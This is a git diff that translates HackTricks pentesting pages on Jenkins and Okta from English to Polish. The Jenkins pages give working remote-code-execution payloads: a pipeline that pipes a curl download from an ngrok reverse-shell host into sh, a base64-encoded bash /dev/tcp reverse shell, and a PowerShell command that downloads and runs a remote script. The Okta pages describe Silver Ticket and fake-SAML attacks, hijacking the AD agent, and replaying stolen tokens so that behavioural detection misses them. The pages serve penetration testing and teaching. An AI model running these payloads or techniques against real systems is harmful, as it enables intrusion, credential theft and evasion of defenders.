(c.properties.secretBytes) { +println(" secretBytes: ") +println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) +println("") +} +if (c.properties.privateKeySource) { +println(" privateKey: " + c.getPrivateKey()) +} +if (c.properties.apiToken) { +println(" apiToken: " + c.apiToken) +} +if (c.properties.token) { +println(" token: " + c.token) +} +println("") } ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 89ca15223..8aebd65f4 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,43 +1,37 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE Tworzenie/Modyfikowanie Pipeline {{#include ../../banners/hacktricks-training.md}} -## Creating a new Pipeline +## Tworzenie nowego Pipeline -In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:** +W "Nowy element" (dostępne w `/view/all/newJob`) wybierz **Pipeline:** ![](<../../images/image (235).png>) -In the **Pipeline section** write the **reverse shell**: +W **sekcji Pipeline** wpisz **reverse shell**: ![](<../../images/image (285).png>) - ```groovy pipeline { - agent any +agent any - stages { - stage('Hello') { - steps { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh - ''' - } - } - } +stages { +stage('Hello') { +steps { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh +''' +} +} +} } ``` - Finally click on **Save**, and **Build Now** and the pipeline will be executed: ![](<../../images/image (228).png>) -## Modifying a Pipeline +## Modyfikowanie potoku If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f16096070..603b3df59 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,40 +1,36 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Tworzenie/Modyfikowanie Projektu {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Tworzenie Projektu -This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). +Ta metoda jest bardzo głośna, ponieważ musisz stworzyć zupełnie nowy projekt (oczywiście to zadziała tylko, jeśli użytkownik ma prawo do tworzenia nowego projektu). -1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob` -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ -3. Click **Build now** - 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *` - 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`** +1. **Utwórz nowy projekt** (projekt Freestyle) klikając "Nowy element" lub w `/view/all/newJob` +2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub PowerShell meterpreter (można uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._ +3. Kliknij **Buduj teraz** +1. Jeśli przycisk **Buduj teraz** się nie pojawia, możesz nadal przejść do **konfiguracji** --> **Wyzwalacze budowania** --> `Buduj okresowo` i ustawić cron na `* * * * *` +2. Zamiast używać crona, możesz użyć konfiguracji "**Wyzwalaj budowy zdalnie**", gdzie musisz tylko ustawić nazwę tokena API, aby wyzwolić zadanie. Następnie przejdź do swojego profilu użytkownika i **wygeneruj token API** (nazwij ten token API tak, jak nazwałeś token API do wyzwolenia zadania). Na koniec wyzwól zadanie za pomocą: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## Modyfikowanie Projektu -Go to the projects and check **if you can configure any** of them (look for the "Configure button"): +Przejdź do projektów i sprawdź **czy możesz skonfigurować którykolwiek** z nich (szukaj przycisku "Konfiguruj"): ![](<../../images/image (265).png>) -If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others). +Jeśli **nie możesz** zobaczyć żadnego **przycisku konfiguracji**, to prawdopodobnie **nie możesz** **go skonfigurować** (ale sprawdź wszystkie projekty, ponieważ możesz być w stanie skonfigurować niektóre z nich, a inne nie). -Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`). +Lub **spróbuj uzyskać dostęp do ścieżki** `/job//configure` lub `/me/my-views/view/all/job//configure` \_\_ w każdym projekcie (przykład: `/job/Project0/configure` lub `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Wykonanie -If you are allowed to configure the project you can **make it execute commands when a build is successful**: +Jeśli masz prawo do konfiguracji projektu, możesz **sprawić, aby wykonywał polecenia, gdy budowa zakończy się sukcesem**: ![](<../../images/image (98).png>) -Click on **Save** and **build** the project and your **command will be executed**.\ -If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. +Kliknij **Zapisz** i **zbuduj** projekt, a Twoje **polecenie zostanie wykonane**.\ +Jeśli nie wykonujesz odwrotnej powłoki, ale proste polecenie, możesz **zobaczyć wynik polecenia w wynikach budowy**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 33821cc03..5c00660e8 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,24 +4,21 @@ ## Jenkins RCE with Groovy Script -This is less noisy than creating a new project in Jenkins - -1. Go to _path_jenkins/script_ -2. Inside the text box introduce the script +To jest mniej hałaśliwe niż tworzenie nowego projektu w Jenkins +1. Przejdź do _path_jenkins/script_ +2. Wprowadź skrypt w polu tekstowym ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` +Możesz wykonać polecenie używając: `cmd.exe /c dir` -You could execute a command using: `cmd.exe /c dir` +W **linux** możesz zrobić: **`"ls /".execute().text`** -In **linux** you can do: **`"ls /".execute().text`** - -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. - -**Another useful groovy script** is (replace \[INSERT COMMAND]): +Jeśli musisz użyć _cudzysłowów_ i _pojedynczych cudzysłowów_ wewnątrz tekstu. Możesz użyć _"""PAYLOAD"""_ (potrójne podwójne cudzysłowy), aby wykonać ładunek. +**Inny przydatny skrypt groovy** to (zamień \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` - -### Reverse shell in linux - +### Odwrócona powłoka w systemie Linux ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` +### Reverse shell w Windows -### Reverse shell in windows - -You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: - +Możesz przygotować serwer HTTP z PS reverse shell i użyć Jekinsa do pobrania i wykonania go: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` +### Skrypt -### Script - -You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). - -You can use MSF to get a reverse shell: +Możesz zautomatyzować ten proces za pomocą [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). +Możesz użyć MSF, aby uzyskać odwróconą powłokę: ``` msf> use exploit/multi/http/jenkins_script_console ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e682996c2..0a036e0a6 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -2,117 +2,113 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices. +[Okta, Inc.](https://www.okta.com/) jest uznawana w sektorze zarządzania tożsamością i dostępem za swoje oparte na chmurze rozwiązania programowe. Rozwiązania te mają na celu uproszczenie i zabezpieczenie uwierzytelniania użytkowników w różnych nowoczesnych aplikacjach. Są skierowane nie tylko do firm dążących do ochrony swoich wrażliwych danych, ale także do programistów zainteresowanych integracją kontroli tożsamości w aplikacjach, usługach internetowych i urządzeniach. -The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to: +Flagowym produktem Okta jest **Okta Identity Cloud**. Ta platforma obejmuje zestaw produktów, w tym, ale nie tylko: -- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications. -- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification. -- **Lifecycle Management**: Automates user account creation, update, and deactivation processes. -- **Universal Directory**: Enables centralized management of users, groups, and devices. -- **API Access Management**: Secures and manages access to APIs. +- **Single Sign-On (SSO)**: Uproszcza dostęp użytkowników, pozwalając na użycie jednego zestawu danych logowania w wielu aplikacjach. +- **Multi-Factor Authentication (MFA)**: Zwiększa bezpieczeństwo, wymagając wielu form weryfikacji. +- **Zarządzanie cyklem życia**: Automatyzuje procesy tworzenia, aktualizacji i dezaktywacji kont użytkowników. +- **Universal Directory**: Umożliwia centralne zarządzanie użytkownikami, grupami i urządzeniami. +- **API Access Management**: Zabezpiecza i zarządza dostępem do API. -These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena. +Usługi te mają na celu wzmocnienie ochrony danych i uproszczenie dostępu użytkowników, zwiększając zarówno bezpieczeństwo, jak i wygodę. Wszechstronność rozwiązań Okta sprawia, że są one popularnym wyborem w różnych branżach, korzystają z nich zarówno duże przedsiębiorstwa, małe firmy, jak i indywidualni programiści. Na ostatnią aktualizację we wrześniu 2021 roku, Okta jest uznawana za znaczącą jednostkę w obszarze zarządzania tożsamością i dostępem (IAM). -> [!CAUTION] -> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**. +> [!OSTRZEŻENIE] +> Głównym celem Okta jest skonfigurowanie dostępu do różnych użytkowników i grup do aplikacji zewnętrznych. Jeśli uda ci się **skompromentować uprawnienia administratora w środowisku Okta**, prawdopodobnie będziesz w stanie **skompromentować wszystkie inne platformy, z których korzysta firma**. -> [!TIP] -> To perform a security review of an Okta environment you should ask for **administrator read-only access**. +> [!WSKAZÓWKA] +> Aby przeprowadzić przegląd bezpieczeństwa środowiska Okta, powinieneś poprosić o **dostęp tylko do odczytu dla administratora**. -### Summary +### Podsumowanie -There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\ -These users can be inside **groups**.\ -There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)... +Są **użytkownicy** (którzy mogą być **przechowywani w Okta,** logowani z skonfigurowanych **Dostawców Tożsamości** lub uwierzytelniani za pomocą **Active Directory** lub LDAP).\ +Ci użytkownicy mogą być w **grupach**.\ +Są także **uwierzytelnienia**: różne opcje uwierzytelniania, takie jak hasło oraz kilka 2FA, takich jak WebAuthn, e-mail, telefon, Okta Verify (mogą być włączone lub wyłączone)... -Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application. +Następnie są **aplikacje** zsynchronizowane z Okta. Każda aplikacja będzie miała jakieś **mapowanie z Okta** do dzielenia się informacjami (takimi jak adresy e-mail, imiona...). Ponadto każda aplikacja musi być częścią **Polityki Uwierzytelniania**, która wskazuje **potrzebne uwierzytelnienia** dla użytkownika, aby **uzyskać dostęp** do aplikacji. -> [!CAUTION] -> The most powerful role is **Super Administrator**. +> [!OSTRZEŻENIE] +> Najpotężniejszą rolą jest **Super Administrator**. > -> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**. +> Jeśli atakujący skompromituje Okta z dostępem administratora, wszystkie **aplikacje ufające Okta** będą prawdopodobnie **skompromentowane**. -## Attacks +## Ataki -### Locating Okta Portal +### Lokalizowanie portalu Okta -Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**. +Zazwyczaj portal firmy będzie znajdował się pod adresem **companyname.okta.com**. Jeśli nie, spróbuj prostych **wariantów** **companyname.** Jeśli nie możesz go znaleźć, możliwe, że organizacja ma rekord **CNAME** taki jak **`okta.companyname.com`** wskazujący na **portal Okta**. -### Login in Okta via Kerberos +### Logowanie do Okta za pomocą Kerberos -If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard. +Jeśli **`companyname.kerberos.okta.com`** jest aktywne, **Kerberos jest używany do dostępu do Okta**, zazwyczaj omijając **MFA** dla użytkowników **Windows**. Aby znaleźć użytkowników Okta uwierzytelnionych za pomocą Kerberos w AD, uruchom **`getST.py`** z **odpowiednimi parametrami**. Po uzyskaniu **biletu użytkownika AD**, **wstrzyknij** go do kontrolowanego hosta za pomocą narzędzi takich jak Rubeus lub Mimikatz, upewniając się, że **`clientname.kerberos.okta.com` jest w strefie "Intranet" w Opcjach Internetowych**. Uzyskanie dostępu do konkretnego URL powinno zwrócić odpowiedź JSON "OK", co wskazuje na akceptację biletu Kerberos i przyznanie dostępu do pulpitu nawigacyjnego Okta. -Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta. +Skompromitowanie **konta usługi Okta z delegacją SPN umożliwia atak Silver Ticket.** Jednak użycie przez Okta **AES** do szyfrowania biletów wymaga posiadania klucza AES lub hasła w postaci jawnej. Użyj **`ticketer.py`, aby wygenerować bilet dla użytkownika ofiary** i dostarczyć go za pośrednictwem przeglądarki do uwierzytelnienia w Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking Okta AD Agent +### Przejęcie agenta AD Okta -This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key'). +Technika ta polega na **dostępie do agenta AD Okta na serwerze**, który **synchronizuje użytkowników i obsługuje uwierzytelnianie**. Poprzez badanie i deszyfrowanie konfiguracji w **`OktaAgentService.exe.config`**, szczególnie AgentToken przy użyciu **DPAPI**, atakujący może potencjalnie **przechwycić i manipulować danymi uwierzytelniającymi**. Umożliwia to nie tylko **monitorowanie** i **przechwytywanie danych logowania** w postaci jawnej podczas procesu uwierzytelniania Okta, ale także **reagowanie na próby uwierzytelnienia**, co umożliwia nieautoryzowany dostęp lub zapewnia uniwersalne uwierzytelnienie przez Okta (podobnie jak 'klucz uniwersalny'). -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking AD As an Admin +### Przejęcie AD jako administrator -This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment. +Technika ta polega na przejęciu agenta AD Okta poprzez najpierw uzyskanie kodu OAuth, a następnie żądanie tokena API. Token jest powiązany z domeną AD, a **konektor jest nazwany, aby ustanowić fałszywego agenta AD**. Inicjalizacja pozwala agentowi na **przetwarzanie prób uwierzytelnienia**, przechwytując dane logowania za pośrednictwem API Okta. Narzędzia automatyzacyjne są dostępne, aby uprościć ten proces, oferując płynny sposób na przechwytywanie i obsługę danych uwierzytelniających w środowisku Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Okta Fake SAML Provider +### Fałszywy dostawca SAML Okta -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner. +Technika ta polega na **wdrożeniu fałszywego dostawcy SAML**. Poprzez integrację zewnętrznego Dostawcy Tożsamości (IdP) w ramach Okta przy użyciu uprzywilejowanego konta, atakujący mogą **kontrolować IdP, zatwierdzając dowolne żądanie uwierzytelnienia według uznania**. Proces ten obejmuje skonfigurowanie IdP SAML 2.0 w Okta, manipulowanie URL logowania SSO IdP w celu przekierowania przez lokalny plik hosts, generowanie certyfikatu samopodpisanego oraz konfigurowanie ustawień Okta, aby pasowały do nazwy użytkownika lub adresu e-mail. Pomyślne wykonanie tych kroków pozwala na uwierzytelnienie jako dowolny użytkownik Okta, omijając potrzebę posiadania indywidualnych danych logowania użytkownika, co znacznie podnosi kontrolę dostępu w sposób, który może pozostać niezauważony. -### Phishing Okta Portal with Evilgnix +### Atak phishingowy na portal Okta z użyciem Evilgnix -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal. +W [**tym wpisie na blogu**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) wyjaśniono, jak przygotować kampanię phishingową przeciwko portalowi Okta. -### Colleague Impersonation Attack +### Atak podszywania się pod kolegę -The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**. +**Atrybuty, które każdy użytkownik może mieć i modyfikować** (takie jak e-mail czy imię) mogą być skonfigurowane w Okta. Jeśli **aplikacja** ufa jako ID **atrybutowi**, który użytkownik może **modyfikować**, będzie mógł **podszywać się pod innych użytkowników na tej platformie**. -Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change). +Dlatego, jeśli aplikacja ufa polu **`userName`**, prawdopodobnie nie będziesz mógł go zmienić (ponieważ zazwyczaj nie można zmieniać tego pola), ale jeśli ufa na przykład **`primaryEmail`**, możesz być w stanie **zmienić go na adres e-mail kolegi** i się pod niego podszyć (musisz mieć dostęp do e-maila i zaakceptować zmianę). -Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\ -Therefore, the app should have this field enabled if it exists: +Zauważ, że to podszywanie się zależy od tego, jak każda aplikacja została skonfigurowana. Tylko te, które ufają polu, które zmodyfikowałeś i akceptują aktualizacje, będą skompromitowane.\ +Dlatego aplikacja powinna mieć to pole włączone, jeśli istnieje:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently). +Widziałem także inne aplikacje, które były podatne, ale nie miały tego pola w ustawieniach Okta (na końcu różne aplikacje są konfigurowane inaczej). -The best way to find out if you could impersonate anyone on each app would be to try it! +Najlepszym sposobem, aby dowiedzieć się, czy możesz się podszyć pod kogokolwiek w każdej aplikacji, byłoby spróbować! -## Evading behavioural detection policies +## Unikanie polityk wykrywania behawioralnego -Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page. +Polityki wykrywania behawioralnego w Okta mogą być nieznane do momentu ich napotkania, ale **omijanie** ich można osiągnąć poprzez **bezpośrednie celowanie w aplikacje Okta**, unikając głównego pulpitu nawigacyjnego Okta. Z **tokenem dostępu Okta** powtórz token na **specyficznym URL aplikacji Okta** zamiast na głównej stronie logowania. -Key recommendations include: +Kluczowe zalecenia obejmują: -- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens. -- Ensure **consistent user-agent strings** between the client and replayed access tokens. -- **Refrain from replaying** tokens from different users from the same IP address. -- Exercise caution when replaying tokens against the Okta dashboard. -- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic. +- **Unikaj używania** popularnych proxy anonimowych i usług VPN podczas powtarzania przechwyconych tokenów dostępu. +- Upewnij się, że **ciąg user-agent** jest spójny między klientem a powtórzonymi tokenami dostępu. +- **Powstrzymaj się od powtarzania** tokenów od różnych użytkowników z tego samego adresu IP. +- Zachowaj ostrożność podczas powtarzania tokenów przeciwko pulpitowi nawigacyjnemu Okta. +- Jeśli znasz adresy IP firmy ofiary, **ogranicz ruch** do tych adresów IP lub ich zakresu, blokując cały inny ruch. -## Okta Hardening +## Wzmacnianie Okta -Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible: +Okta ma wiele możliwych konfiguracji, na tej stronie znajdziesz, jak je przeglądać, aby były jak najbezpieczniejsze: {{#ref}} okta-hardening.md {{#endref}} -## References +## Odniesienia - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers) - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index a7dac96a7..b6de16162 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,72 +6,72 @@ ### People -From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs). +Z perspektywy atakującego, to jest bardzo interesujące, ponieważ będziesz mógł zobaczyć **wszystkich zarejestrowanych użytkowników**, ich **adresy e-mail**, **grupy**, do których należą, **profile** i nawet **urządzenia** (telefony wraz z ich systemami operacyjnymi). -For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**". +Dla przeglądu whitebox sprawdź, czy nie ma kilku "**Oczekujących działań użytkownika**" i "**Resetowania hasła**". ### Groups -This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\ -It's possible to see the **people included inside groups** and **apps assigned** to each group. +Tutaj znajdziesz wszystkie utworzone grupy w Okta. Interesujące jest zrozumienie różnych grup (zestaw **uprawnień**), które mogą być przyznane **użytkownikom**.\ +Można zobaczyć **osoby w grupach** oraz **aplikacje przypisane** do każdej grupy. -Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members. +Oczywiście, każda grupa o nazwie **admin** jest interesująca, szczególnie grupa **Global Administrators**, sprawdź członków, aby dowiedzieć się, kto jest najbardziej uprzywilejowany. -From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3). +Z perspektywy przeglądu whitebox, **nie powinno być więcej niż 5 globalnych administratorów** (lepiej, jeśli jest tylko 2 lub 3). ### Devices -Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not. +Znajdź tutaj **listę wszystkich urządzeń** wszystkich użytkowników. Możesz również zobaczyć, czy jest **aktywnie zarządzane**, czy nie. ### Profile Editor -Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**. +Tutaj można zaobserwować, jak kluczowe informacje, takie jak imiona, nazwiska, e-maile, nazwy użytkowników... są udostępniane między Okta a innymi aplikacjami. To jest interesujące, ponieważ jeśli użytkownik może **zmodyfikować w Okta pole** (takie jak jego imię lub e-mail), które następnie jest używane przez **zewnętrzną aplikację** do **identyfikacji** użytkownika, insider mógłby spróbować **przejąć inne konta**. -Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it). +Ponadto, w profilu **`User (default)`** z Okta możesz zobaczyć **które pola** ma każdy **użytkownik** i które z nich są **edytowalne** przez użytkowników. Jeśli nie możesz zobaczyć panelu administracyjnego, po prostu przejdź do **aktualizacji informacji o swoim profilu** i zobaczysz, które pola możesz zaktualizować (zauważ, że aby zaktualizować adres e-mail, musisz go zweryfikować). ### Directory Integrations -Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories. +Katalogi pozwalają na importowanie osób z istniejących źródeł. Przypuszczam, że tutaj zobaczysz użytkowników importowanych z innych katalogów. -I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**. +Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprumujesz ten katalog**, mógłbyś ustawić niektóre wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**. ### Profile Sources -A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time. +Źródło profilu to **aplikacja, która działa jako źródło prawdy** dla atrybutów profilu użytkownika. Użytkownik może być źródłowany tylko przez jedną aplikację lub katalog w danym czasie. -I haven't seen it, so any information about security and hacking regarding this option is appreciated. +Nie widziałem tego, więc wszelkie informacje o bezpieczeństwie i hackingu dotyczące tej opcji są mile widziane. ## Customizations ### Brands -Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know). +Sprawdź w zakładce **Domains** tej sekcji adresy e-mail używane do wysyłania e-maili oraz niestandardową domenę w Okta firmy (którą prawdopodobnie już znasz). -Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL. +Ponadto, w zakładce **Setting**, jeśli jesteś administratorem, możesz "**Użyć niestandardowej strony wylogowania**" i ustawić niestandardowy adres URL. ### SMS -Nothing interesting here. +Nic interesującego tutaj. ### End-User Dashboard -You can find here applications configured, but we will see the details of those later in a different section. +Możesz tutaj znaleźć skonfigurowane aplikacje, ale szczegóły tych aplikacji zobaczymy później w innej sekcji. ### Other -Interesting setting, but nothing super interesting from a security point of view. +Interesujące ustawienie, ale nic super interesującego z punktu widzenia bezpieczeństwa. ## Applications ### Applications -Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application... +Tutaj możesz znaleźć wszystkie **skonfigurowane aplikacje** i ich szczegóły: Kto ma do nich dostęp, jak jest skonfigurowane (SAML, OpenID), URL do logowania, mapowania między Okta a 